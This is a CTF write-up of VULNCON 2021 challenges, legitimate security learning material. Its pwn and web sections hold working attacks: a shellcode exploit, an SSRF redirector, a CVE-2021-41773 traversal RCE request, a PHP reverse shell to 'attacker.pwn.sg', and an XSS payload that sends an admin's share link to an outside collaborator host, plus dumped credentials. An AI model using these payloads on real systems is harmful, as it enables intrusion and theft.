Summary: I played VULNCON CTF 2021 for a couple of hours and solved a few challenges. Here are the quick solutions to the few challenges that were solved.
Final Scoreboard
Here are the final top ten positions. Congratulations to AmpunBangJago, zh3r0, and ARESx!
Misc/Sanity Check
Misc/Sanity Check
DarkArmy
168 solves / 10 points
Here's your flag : VULNCON{g00d_luck_4nd_Have_fun}
Solution
Flag is in the description.
Flag: VULNCON{g00d_luck_4nd_Have_fun}
Crypto/mfine
Crypto/mfine
rey
41 solves / 374 points
In cryptography, a classical cipher is a type of cipher that was used historically but for the most part, has fallen into disuse.
Attachment: challenge file
Solution
The attachment contains the following files:
unzip -l mfine.zip
Archive: mfine.zip
Length Date Time Name
--------- ---------- ----- ----
539 11-17-2021 13:17 chal.py
630 11-17-2021 13:16 cipher.txt
--------- -------
1169 2 files
The chal.py
file contains the following simple encryption code:
import random
def encrypt(plaintext):
ciphertext = ''
for letter in plaintext:
i = ALPHA.index(letter)
c = (a*i + b) % m
ciphertext += ALPHA[c]
return ciphertext
ALPHA = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #"
m = len(ALPHA)
a = random.randrange(1, m)
b = random.randrange(1, m)
message = open("message.txt").read().replace('\n', '')
cipher = encrypt(message)
with open("cipher.txt", 'w') as f:
for i in range(0,len(cipher),64):
f.write( cipher[i:i+64]+'\n' )
It basically implements the Affine Cipher. The character set length is 41.
In [163]: len("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #")
Out[163]: 41
This means the total number of possible keys is 1681 and is feasibly bruteforceable.
In [164]: pow(41, 2)
Out[164]: 1681
The cipher.txt
file contains the encrypted message that we have to decrypt:
RVWA6IIHTWAJH1VWEAH0A6AR 1WAFIA2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VW
EAQVWEWAW6JVAGWRRWEAHTA6TA6G1V6XWRAH0A2611W5ARFAHR0ATD2WEHJAWSDH
#6GWTRAWTJE 1RW5AD0HT4A6A0H21GWA26RVW26RHJ6GAIDTJRHFTA6T5AJFT#WE
RW5AX6JUARFA6AGWRRWEARVWAIG64AIFEA FDAH0A#DGTJFTBM#ME RV9T4OJ8TO
XMOXENUMTO9IO NDO6EMOZ28EROMTND4V_ARVWAIFE2DG6AD0W5A2W6T0ARV6RAW
6JVAGWRRWEAWTJE 1R0ARFAFTWAFRVWEAGWRRWEA6T5AX6JUA646HTA2W6THT4AR
VWAJH1VWEAH0AW00WTRH6GG A6A0R6T56E5A0DX0RHRDRHFTAJH1VWEAQHRVA6AE
DGWA4F#WETHT4AQVHJVAGWRRWEA4FW0ARFAQVHJVA0HTJWARVWA6IIHTWAJH1VWE
AH0A0RHGGA6A2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAHRAHTVWEHR0ARVWAQ
W6UTW00W0AFIARV6RAJG600AFIAJH1VWE0
The solver script to this is given as follows:
#!/usr/bin/env python
# Requires python 3.8+
import itertools
ALPHA = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_ #"
m = len(ALPHA)
def encrypt(plaintext, a, b):
ciphertext = ''
for letter in plaintext:
i = ALPHA.index(letter)
c = (a*i + b) % m
ciphertext += ALPHA[c]
return ciphertext
def decrypt(ciphertext, a, b):
plaintext = ''
inv = pow(a, -1, m)
for letter in ciphertext:
i = ALPHA.index(letter)
p = ((i - b) * inv) % m
plaintext += ALPHA[p]
return plaintext
def main():
ciphertext = open("cipher.txt").read().replace('\n', '')
print('Ciphertext: {}'.format(ciphertext))
possible_decrypts = []
for a, b in itertools.product(range(1, m), range(1, m)):
plaintext = decrypt(ciphertext, a, b)
print('Key ({}, {}): {}'.format(a, b, plaintext))
if 'flag' in plaintext.lower():
possible_decrypts.append((a, b, plaintext))
print("\nPossible Decryptions:\n")
for a, b, plaintext in possible_decrypts:
print('Key ({}, {}): {}'.format(a, b, plaintext))
if __name__ == '__main__':
main()
Running the script gives us the following output:
$ python exploit.py
Ciphertext: RVWA6IIHTWAJH1VWEAH0A6AR 1WAFIA2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAQVWEWAW6JVAGWRRWEAHTA6TA6G1V6XWRAH0A2611W5ARFAHR0ATD2WEHJAWSDH#6GWTRAWTJE 1RW5AD0HT4A6A0H21GWA26RVW26RHJ6GAIDTJRHFTA6T5AJFT#WERW5AX6JUARFA6AGWRRWEARVWAIG64AIFEA FDAH0A#DGTJFTBM#ME RV9T4OJ8TOXMOXENUMTO9IO NDO6EMOZ28EROMTND4V_ARVWAIFE2DG6AD0W5A2W6T0ARV6RAW6JVAGWRRWEAWTJE 1R0ARFAFTWAFRVWEAGWRRWEA6T5AX6JUA646HTA2W6THT4ARVWAJH1VWEAH0AW00WTRH6GG A6A0R6T56E5A0DX0RHRDRHFTAJH1VWEAQHRVA6AEDGWA4F#WETHT4AQVHJVAGWRRWEA4FW0ARFAQVHJVA0HTJWARVWA6IIHTWAJH1VWEAH0A0RHGGA6A2FTF6G1V6XWRHJA0DX0RHRDRHFTAJH1VWEAHRAHTVWEHR0ARVWAQW6UTW00W0AFIARV6RAJG600AFIAJH1VWE0
Key (1, 1): QUV95HHGSV9IG0UVD9G#959Q_0V9EH91ESE5F0U5WVQGI9#CW#QGQCQGES9IG0UVD9PUVDV9V5IU9FVQQVD9GS95S95F0U5WVQ9G#91500V49QE9GQ#9SC1VDGI9VRCG 5FVSQ9VSID_0QV49C#GS3959#G10FV915QUV15QGI5F9HCSIQGES95S49IES VDQV49W5IT9QE959FVQQVD9QUV9HF539HED9_EC9G#9 CFSIESAL LD_QU8S3NI7SNWLNWDMTLSN8HN_MCN5DLNY17DQNLSMC3U}9QUV9HED1CF59C#V491V5S#9QU5Q9V5IU9FVQQVD9VSID_0Q#9QE9ESV9EQUVD9FVQQVD95S49W5IT9535GS91V5SGS39QUV9IG0UVD9G#9V##VSQG5FF_959#Q5S45D49#CW#QGQCQGES9IG0UVD9PGQU959DCFV93E VDSGS39PUGIU9FVQQVD93EV#9QE9PUGIU9#GSIV9QUV95HHGSV9IG0UVD9G#9#QGFF9591ESE5F0U5WVQGI9#CW#QGQCQGES9IG0UVD9GQ9GSUVDGQ#9QUV9PV5TSV##V#9EH9QU5Q9IF5##9EH9IG0UVD#
Key (1, 2): PTU84GGFRU8HF#TUC8F 848P}#U8DG80DRD4E#T4VUPFH8 BV PFPBPFDR8HF#TUC8OTUCU8U4HT8EUPPUC8FR84R84E#T4VUP8F 804##U38PD8FP 8RB0UCFH8UQBF_4EURP8URHC}#PU38B FR2848 F0#EU804PTU04PFH4E8GBRHPFDR84R38HDR_UCPU38V4HS8PD848EUPPUC8PTU8GE428GDC8}DB8F 8_BERHDR9K_KC}PT7R2MH6RMVKMVCLSKRM7GM}LBM4CKMX06CPMKRLB2T{8PTU8GDC0BE48B U380U4R 8PT4P8U4HT8EUPPUC8URHC}#P 8PD8DRU8DPTUC8EUPPUC84R38V4HS8424FR80U4RFR28PTU8HF#TUC8F 8U URPF4EE}848 P4R34C38 BV PFPBPFDR8HF#TUC8OFPT848CBEU82D_UCRFR28OTFHT8EUPPUC82DU 8PD8OTFHT8 FRHU8PTU84GGFRU8HF#TUC8F 8 PFEE8480DRD4E#T4VUPFH8 BV PFPBPFDR8HF#TUC8FP8FRTUCFP 8PTU8OU4SRU U 8DG8PT4P8HE4 8DG8HF#TUC
Key (1, 3): OST73FFEQT7GE STB7E_737O{ T7CF7#CQC3D S3UTOEG7_AU_OEOAOECQ7GE STB7NSTBT7T3GS7DTOOTB7EQ73Q73D S3UTO7E_7#3 T27OC7EO_7QA#TBEG7TPAE}3DTQO7TQGB{ OT27A_EQ1737_E# DT7#3OST#3OEG3D7FAQGOECQ73Q27GCQ}TBOT27U3GR7OC737DTOOTB7OST7FD317FCB7{CA7E_7}ADQGCQ8J}JB{OS6Q1LG5QLUJLUBKRJQL6FL{KAL3BJLW#5BOLJQKA1SZ7OST7FCB#AD37A_T27#T3Q_7OS3O7T3GS7DTOOTB7TQGB{ O_7OC7CQT7COSTB7DTOOTB73Q27U3GR7313EQ7#T3QEQ17OST7GE STB7E_7T__TQOE3DD{737_O3Q23B27_AU_OEOAOECQ7GE STB7NEOS737BADT71C}TBQEQ17NSEGS7DTOOTB71CT_7OC7NSEGS7_EQGT7OST73FFEQT7GE STB7E_7_OEDD737#CQC3D S3UTOEG7_AU_OEOAOECQ7GE STB7EO7EQSTBEO_7OST7NT3RQT__T_7CF7OS3O7GD3__7CF7GE STB_
Key (1, 4): NRS62EEDPS6FD_RSA6D}626NZ_S6BE6 BPB2C_R2TSNDF6}9T}NDN9NDBP6FD_RSA6MRSAS6S2FR6CSNNSA6DP62P62C_R2TSN6D}6 2__S16NB6DN}6P9 SADF6SO9D{2CSPN6SPFAZ_NS169}DP0626}D _CS6 2NRS 2NDF2C6E9PFNDBP62P16FBP{SANS16T2FQ6NB626CSNNSA6NRS6EC206EBA6ZB96D}6{9CPFBP7I{IAZNR5P0KF4PKTIKTAJQIPK5EKZJ9K2AIKV 4ANKIPJ90RY6NRS6EBA 9C269}S16 S2P}6NR2N6S2FR6CSNNSA6SPFAZ_N}6NB6BPS6BNRSA6CSNNSA62P16T2FQ6202DP6 S2PDP06NRS6FD_RSA6D}6S}}SPND2CCZ626}N2P12A16}9T}NDN9NDBP6FD_RSA6MDNR626A9CS60B{SAPDP06MRDFR6CSNNSA60BS}6NB6MRDFR6}DPFS6NRS62EEDPS6FD_RSA6D}6}NDCC626 BPB2C_R2TSNDF6}9T}NDN9NDBP6FD_RSA6DN6DPRSADN}6NRS6MS2QPS}}S}6BE6NR2N6FC2}}6BE6FD_RSA}
...
Possible Decryptions:
Key (27, 23): THE AFFINE CIPHER IS A TYPE OF MONOALPHABETIC SUBSTITUTION CIPHER WHERE EACH LETTER IN AN ALPHABET IS MAPPED TO ITS NUMERIC EQUIVALENT ENCRYPTED USING A SIMPLE MATHEMATICAL FUNCTION AND CONVERTED BACK TO A LETTER THE FLAG FOR YOU IS VULNCON{3V3RYTH1NG_C4N_B3_BR0K3N_1F_Y0U_AR3_5M4RT_3N0UGH} THE FORMULA USED MEANS THAT EACH LETTER ENCRYPTS TO ONE OTHER LETTER AND BACK AGAIN MEANING THE CIPHER IS ESSENTIALLY A STANDARD SUBSTITUTION CIPHER WITH A RULE GOVERNING WHICH LETTER GOES TO WHICH SINCE THE AFFINE CIPHER IS STILL A MONOALPHABETIC SUBSTITUTION CIPHER IT INHERITS THE WEAKNESSES OF THAT CLASS OF CIPHERS
Flag: VULNCON{g00d_luck_4nd_Have_fun}
Reverse/Hello World
Reverse/Hello World
1gn1te
31 solves / 412 points
Hello World
Attachment: challenge file
Solution
This reversing challenge is very simple. First, run strings
on the binary and look for interesting
strings such as GibFlagPlox
.
$ strings -a Hello_World.exe
!This program cannot be run in DOS mode.
.text
P`.data
.rdata
`@.pdata
[email protected]
...
Hello World
Hello :
%16s
GibFlagPlox
/.)+$\IvY=
>R4]%8`*0@u@
Argument domain error (DOMAIN)
Argument singularity (SIGN)
Overflow range error (OVERFLOW)
...
Next, run the Windows executable using Wine and supply the interesting string.
$ ./Hello_World.exe
Hello : Application tried to create a window, but no driver could be loaded.
Make sure that your X server is running and that $DISPLAY is set correctly.
err:systray:initialize_systray Could not create tray window
GibFlagPlox
VULNCON{H3110_W0r1D_70_W0r1D_0F_r3V3r51N6}
Flag: VULNCON{H3110_W0r1D_70_W0r1D_0F_r3V3r51N6}
Pwn/More than Shellcoding
Pwn/More than Shellcoding
0w0
12 solves / 472 points
Are you really good at shellcoding...
nc 35.228.15.118 1338
Attachment: challenge file
Solution
This challenge is a basic ‘execute-your-shellcode’ challenge with the following constraints:
- The buffer containing the shellcode is set to
execute
withmprotect
. This frustrates polymorphic payloads. - Payloads containing the
0x0f05
sequence is not permitted. This corresponds tosyscall
.
The following exploit re-uses mprotect
in the GOT to set all permissions on the shellcode buffer
and then executes a standard encoded execve("/bin/sh")
shellcode.
cat exploit.sh
#!/bin/bash
# Set mprotect rwx preamble.
# mov rdi, 0x69420000
# mov rsi, 0x100
# mov rdx, 0x7
# mov r8, 0x4010f0
# call r8
(python -c 'import sys;from pwn import *;x=b"\x48\xC7\xC7\x00\x00\x42\x69\x48\xC7\xC6\x00\x01\x00\x00\x48\xC7\xC2\x07\x00\x00\x00\x49\xC7\xC0\xF0\x10\x40\x00\x41\xFF\xD0" + encode(asm(pwnlib.shellcraft.amd64.linux.sh(), arch="amd64"), avoid=b"\x0f\x05");sys.stdout.buffer.write(x)'; cat -) | nc 35.228.15.118 1338
Executing the exploit gives us a shell and allows us to get the flag:
$ bash exploit.sh
Are you really good at shellcoding Lets try :
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls -la
total 64
drwxr-xr-x 1 root root 4096 Dec 4 10:09 .
drwxr-xr-x 1 root root 4096 Nov 29 05:47 ..
-rw-r--r-- 1 root root 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 root root 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 root root 807 Feb 25 2020 .profile
-rwxr-xr-x 1 root root 17128 Nov 26 15:51 chall
-rw-rw-r-- 1 root root 48 Dec 4 06:27 flag
-rwxr-xr-x 1 root root 18744 Nov 29 11:11 ynetd
cat flag
VULNCON{Gu355_u_d0nt_n33d_th3_5y5c4ll_aft3r4ll}
Flag: VULNCON{Gu355_u_d0nt_n33d_th3_5y5c4ll_aft3r4ll}
Web/Site Shot
Web/Site Shot
r3curs1v3_pr0xy
10 solves / 477 points
Recently Elliot got a job as a web developer. He got a project to create a website that converts webpage into image but he don’t know about the web app security and somehow hackers got access to admin panel content running at localhost. As a pentester, we need to find the flaw in the app to see what's running at admin panel.
Link: http://143.244.132.186:3000/
Solution
This challenge involved a website that allowed users to specify a URL to render as a PDF. This
essential acts as a way to perform SSRF. However, any address such as 127.0.0.1
or other encoded
forms are rejected.
To get around this, we simply use redirect headers on our own server. I simply reused this code snippet:
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
This was invoked with python redirector.py 80 http://127.0.0.1
.
The following request was sent to the challenge server to trigger the redirect to localhost.
POST /convert HTTP/1.1
Host: 143.244.132.186:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://143.244.132.186:3000
Connection: close
Referer: http://143.244.132.186:3000/
Upgrade-Insecure-Requests: 1
target=http://attacker.sg.pwn
The resultant PDF document that gets rendered contains:
Welcome back to home admin! Here is your Flag: VULNCON{W3lc0me_b4ck_t0_h0m3}
Flag: VULNCON{W3lc0me_b4ck_t0_h0m3}
Web/Health Portal
Web/Health Portal
r3curs1v3_pr0xy
12 solves / 472 points
I've created a health portal can you find a vulnerability on it
Challenge Link: http://165.232.180.125/
Note : Bruteforcing and running automated tools are not required.
Solution
Making a sample request allows us to the obtain the following server banner:
Server: Apache/2.4.49 (Debian)
This tells us that the instance is vulnerable to CVE-2021-41773.
Making the following request confirms exploitability.
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 139.59.2.201
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 22
echo;whoami;ls -la /
The response yields a directory listing including a flag.txt
file owned by root:vulncon
along
with the output of id
indicating that we have code execution as the www-data
user. This means
that we will have to perform privilege escalation before we can read the flag.
HTTP/1.1 200 OK
Date: Sat, 04 Dec 2021 20:02:50 GMT
Server: Apache/2.4.49 (Debian)
Connection: close
Content-Length: 1632
www-data
total 2136
drwxr-xr-x 1 root root 4096 Dec 4 06:22 .
drwxr-xr-x 1 root root 4096 Dec 4 06:22 ..
-rwxr-xr-x 1 root root 0 Dec 4 06:22 .dockerenv
-rw-r--r-- 1 root root 1402156 Nov 6 06:12 apache2-bin_2.4.49-4_amd64.deb
-rw-r--r-- 1 root root 159956 Nov 6 06:12 apache2-data_2.4.49-4_all.deb
-rw-r--r-- 1 root root 253952 Nov 6 06:12 apache2-utils_2.4.49-4_amd64.deb
-rw-r--r-- 1 root root 268632 Nov 6 06:12 apache2_2.4.49-4_amd64.deb
drwxr-xr-x 1 root root 4096 Dec 4 06:21 bin
drwxr-xr-x 2 root root 4096 Aug 22 17:00 boot
drwxr-xr-x 5 root root 340 Dec 4 06:22 dev
-rwxr-xr-x 1 root root 68 Nov 6 06:12 entry.sh
drwxr-xr-x 1 root root 4096 Dec 4 06:22 etc
-r--r----- 1 root vulncon 24 Dec 4 06:21 flag.txt
drwxr-xr-x 1 root root 4096 Dec 4 06:22 home
drwxr-xr-x 1 root root 4096 Dec 1 00:00 lib
drwxr-xr-x 2 root root 4096 Dec 1 00:00 lib64
drwxr-xr-x 2 root root 4096 Dec 1 00:00 media
drwxr-xr-x 2 root root 4096 Dec 1 00:00 mnt
drwxr-xr-x 2 root root 4096 Dec 1 00:00 opt
dr-xr-xr-x 162 root root 0 Dec 4 06:22 proc
drwx------ 2 root root 4096 Dec 1 00:00 root
drwxr-xr-x 1 root root 4096 Dec 4 06:22 run
drwxr-xr-x 1 root root 4096 Dec 4 06:21 sbin
drwxr-xr-x 2 root root 4096 Dec 1 00:00 srv
dr-xr-xr-x 13 root root 0 Dec 4 10:45 sys
drwxrwxrwt 1 root root 4096 Dec 4 18:51 tmp
drwxr-xr-x 1 root root 4096 Dec 1 00:00 usr
drwxr-xr-x 1 root root 4096 Dec 4 06:21 var
A reverse shell is obtained with the following payload:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 139.59.2.201
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 132
echo;php -r '$sock=fsockopen("attacker.pwn.sg",1337);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Once we have a shell, we can read the mysql credentials from connection.php
. Unfortunately, there
is no mysql
binary available in the container so we just scp
up one and use it to dump the
database.
$ /tmp/mysql -h apache_sql -u vulncon -pa8amisa^d8 -h apache_sql -e "use field_data; show tables; select * from login_details"
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_field_data
login_details
id first_name last_name password email internal_user
1 John Doe Pass123 [email protected] false
2 alice alice 123 [email protected] false
3 boby bob rooe [email protected] false
4 rock johnson 3131313 [email protected] false
5 ronald duck recking [email protected] false
6 jenny jen rolaa [email protected] false
7 fish fight fishreal [email protected] false
8 vulncon root jh^sJ9sd [email protected] true
9 many many many-s [email protected] false
10 borish bob roled [email protected] false
11 rocket robbin robitu [email protected] false
12 karma karmait karma [email protected] false
13 dolly red dolly [email protected] false
14 alice wonder alice123# [email protected] false
15 ringit many ringit#@# [email protected] false
16 rahul re 3232qss [email protected] false
17 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
18 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20 systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false tss:x:105:111:TPM software stack,,,:/var/lib/tpm:/bin/false
21 messagebus:x:107:113::/nonexistent:/usr/sbin/nologin redsocks:x:108:114::/var/run/redsocks:/usr/sbin/nologin rwhod:x:109:65534::/var/spool/rwho:/usr/sbin/nologin iodine:x:110:65534::/run/iodine:/usr/sbin/nologin tcpdump:x:111:115::/nonexistent:/usr/sbin/nologin
22 _rpc:x:113:65534::/run/rpcbind:/usr/sbin/nologin usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin rtkit:x:115:122:RealtimeKit,,,:/proc:/usr/sbin/nologin sshd:x:116:65534::/run/sshd:/usr/sbin/nologin statd:x:117:65534::/var/lib/nfs:/usr/sbin/nologin
23 avahi:x:119:126:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin stunnel4:x:120:127::/var/run/stunnel4:/usr/sbin/nologin Debian-snmp:x:121:128::/var/lib/snmp:/bin/false speech-dispatcher:x:122:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false sslh:x:123:129::/nonexistent:/usr/sbin/nologin
24 saned:x:125:133::/var/lib/saned:/usr/sbin/nologin inetsim:x:126:135::/var/lib/inetsim:/usr/sbin/nologin colord:x:127:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:128:137::/var/lib/geoclue:/usr/sbin/nologin king-phisher:x:129:138::/var/lib/king-phisher:/usr/sbin/nologin
25 kali:x:1000:1000:Devang Solanki,,,:/home/kali:/usr/bin/zsh systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin strongswan:x:131:65534::/var/lib/strongswan:/usr/sbin/nologin nm-openvpn:x:132:141:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin lightdm:x:133:142:Light Display Manager:/var/lib/lightdm:/bin/false
26 dnsmasq:x:135:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin libvirt-qemu:x:64055:106:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
$
Now that we have obtained the password to vulncon
, we can just su
and login as that user before
reading the flag.
$ su vulncon
Password: jh^sJ9sd
ls -la
total 4204
drwxrwxrwt 1 root root 4096 Dec 4 22:20 .
drwxr-xr-x 1 root root 4096 Dec 4 06:22 ..
-rw-r--r-- 1 www-data www-data 8 Dec 4 19:07 flag.txt
-rwxr-xr-x 1 www-data www-data 250 Dec 4 20:07 fwUzzNz
-rw-r--r-- 1 www-data www-data 9398 Dec 4 20:15 linPE
-rwxr-xr-x 1 www-data www-data 959800 Dec 4 21:41 nc
-rwxr-xr-x 1 www-data www-data 2914424 Dec 4 21:42 ncat
-rw-r--r-- 1 www-data www-data 0 Dec 4 18:51 out
-rwxr-xr-x 1 www-data www-data 375176 Dec 4 22:03 socat
-rw-r--r-- 1 www-data www-data 4404 Dec 4 16:11 typescript
-rwxrwxrwx 1 www-data www-data 3 Dec 4 17:40 vulncon
-rw-r--r-- 1 www-data www-data 154 Dec 4 20:10 x
-rw-r--r-- 1 www-data www-data 12 Dec 4 17:58 yes.sh
cat /flag.txt
VULNCON{cv3_1s_aw3s0m3}
Flag: VULNCON{cv3_1s_aw3s0m3}
Web/Fancy Notes
Web/Fancy Notes
Karma
10 solves / 477 points
Just dont use any fancy js while creating note also you can share your notes with admin too.
PS: Admin note has index 1, maybe interesting to check
Chall Link: http://35.197.213.145:9998/
Report Link: http://35.197.213.145:8081/
Solution
This challenge had an XSS vulnerability when creating notes. The token
cookie cannot be easily
exfiltrated as it is set with the http-only
flag. Additionally, all instances of .
in the input
is converted to the word FANCY
. Thus, we have to write a payload that generates a share link for
the message with an ID of 1 as the admin user without the use of .
and exfiltrate that link back
to us.
The following payload achieves this.
</textarea><script>
var home = new XMLHttpRequest();
home["open"]("GET","/",false);
home["send"](null);
var homee = document["createElement"]("homex");
homee["innerHTML"] = home["responseText"];
var csrf = homee["getElementsByTagName"]("input")[2]["value"];
var share = new XMLHttpRequest();share["open"]("POST","/shareNote",false);
share["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
share["send"]("id=1&csrf_token="+csrf);
var sharee = document["createElement"]("sharex");
sharee["innerHTML"] = share["responseText"];
var msg = sharee["getElementsByTagName"]("script")[0]["firstChild"]["data"];
new Image()["src"]="http://2cfd9esbvqsowgg5bv5sb45gx73xrm!burpcollaborator!net/?q="["replaceAll"]("!","\x2e")+msg;
</script><textarea disabled class="textarea-auto">
Properly encoded, the final POST
request to create the malicious note is as follows:
POST /addNotes HTTP/1.1
Host: 35.197.213.145:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 920
Origin: http://35.197.213.145:9998
Connection: close
Referer: http://35.197.213.145:9998/
Cookie: connect.sid=s%3AGFZbNDy_q5gYnTiFU77IvnxRoTovFV7t.BvKBnwfizZzQ48foc6%2BEgq%2FEx6EvRlj20j4vTLtkXLE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW1vbiJ9.XR9QBs8gEGD2WZd4yoTv9ivjo5tiFc5tnKQ8cQXrnt4
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
message=</textarea><script>
var+home+%3d+new+XMLHttpRequest()%3b
home["open"]("GET","/",false)%3b
home["send"](null)%3b
var+homee+%3d+document["createElement"]("homex")%3b
homee["innerHTML"]+%3d+home["responseText"]%3b
var+csrf+%3d+homee["getElementsByTagName"]("input")[2]["value"]%3b
var+share+%3d+new+XMLHttpRequest()%3bshare["open"]("POST","/shareNote",false)%3b
share["setRequestHeader"]("Content-type",+"application/x-www-form-urlencoded")%3b
share["send"]("id%3d1%26csrf_token%3d"%2bcsrf)%3b
var+sharee+%3d+document["createElement"]("sharex")%3b
sharee["innerHTML"]+%3d+share["responseText"]%3b
var+msg+%3d+sharee["getElementsByTagName"]("script")[0]["firstChild"]["data"]%3b
new+Image()["src"]%3d"http%3a//2cfd9esbvqsowgg5bv5sb45gx73xrm!burpcollaborator!net/%3fq%3d"["replaceAll"]("!","\x2e")%2bmsg%3b
</script><textarea+disabled+class%3d"textarea-auto">&csrf_token=GFZbNDy_q5gYnTiFU77IvnxRoTovFV7t
Once the admin views the note, a ping back is received and the secret note is shared.
GET /?q=window.location%20=%20%22/viewNote?msg=38da0324534cb65b1e3bed1a41a6d2e6ff62c2f1ea80902d7ebf8654b6db63720b2b0e247e8e2ee7b514f1e6ef7c36fa%22 HTTP/1.1
Host: 2cfd9esbvqsowgg5bv5sb45gx73xrm.burpcollaborator.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4512.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://35.197.213.145:9998/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
We can access the note and grab the flag.
Flag: VULNCON{Cha1n1ng_l1k3_4_pr0_or_g0_h0me}
Misc/Play
Misc/Play
rey
9 solves / 479 points
Play with Kirby!
assert len(guess) == len(flag)
nc 34.76.165.98 4545
Solution
Interacting with the service gives us the following interface:
nc 34.76.165.98 4545
__ __ .__
/ \ / \ ____ | | ____ ____ _____ ____
\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \
\ /\ ___/| |_\ \__( <_> ) Y Y \ ___/
\__/\ / \___ >____/\___ >____/|__|_| /\___ >
\/ \/ \/ \/ \/
(>'-')>
Hello! this is Kirby!!! I love to check the spelling of the FLAG!
You have to spell it correctly and you'll win! Good luck!!!
Press ENTER to start...
[?]> 123
Oops!!! Game Over!!!
After playing around with the service a for a bit, we can discover that the flag is 33 characters long.
nc 34.76.165.98 4545
__ __ .__
/ \ / \ ____ | | ____ ____ _____ ____
\ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \
\ /\ ___/| |_\ \__( <_> ) Y Y \ ___/
\__/\ / \___ >____/\___ >____/|__|_| /\___ >
\/ \/ \/ \/ \/
(>'-')>
Hello! this is Kirby!!! I love to check the spelling of the FLAG!
You have to spell it correctly and you'll win! Good luck!!!
Press ENTER to start...
[?]> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
